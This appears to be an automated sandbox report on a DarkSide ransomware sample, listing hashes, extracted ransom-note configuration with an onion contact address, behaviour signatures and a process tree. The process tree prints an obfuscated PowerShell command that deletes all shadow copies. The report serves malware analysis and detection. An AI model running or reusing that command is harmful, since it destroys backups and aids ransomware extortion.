Analysis
-
max time kernel
65s -
max time network
115s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
-
Target
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
-
Size
59KB
-
MD5
5ff75d33080bb97a8e6b54875c221777
-
SHA1
810d6c70a96584486867cedde111a1087ed1ebe7
-
SHA256
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
-
SHA512
a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Modifies Control Panel 1 IoCs
-
Modifies registry class 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 25 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
df978a4c7f971493b67fe3d45feb2b98
SHA14f6c3ceae5b18649aa944d629b595633d3fc8b4d
SHA256cb8c51275bf65e721969c062bd7a864b69beb65e3a95ecf1177c4131096612dc
SHA512a4989870d722ece3ad8191c3fec358c489d0556909534ccaddc05d6cfdd3c49dce3fb2df4a98311d80137127503f3fd12fb58bb47022bbe4447c05e2d9259768
-
memory/1112-114-0x0000000000000000-mapping.dmp
-
memory/1112-120-0x00000217EEBA0000-0x00000217EEBA1000-memory.dmpFilesize
4KB
-
memory/1112-125-0x00000217F0E90000-0x00000217F0E91000-memory.dmpFilesize
4KB
-
memory/1112-126-0x00000217EEB90000-0x00000217EEB92000-memory.dmpFilesize
8KB
-
memory/1112-127-0x00000217EEB93000-0x00000217EEB95000-memory.dmpFilesize
8KB
-
memory/1112-141-0x00000217EEB96000-0x00000217EEB98000-memory.dmpFilesize
8KB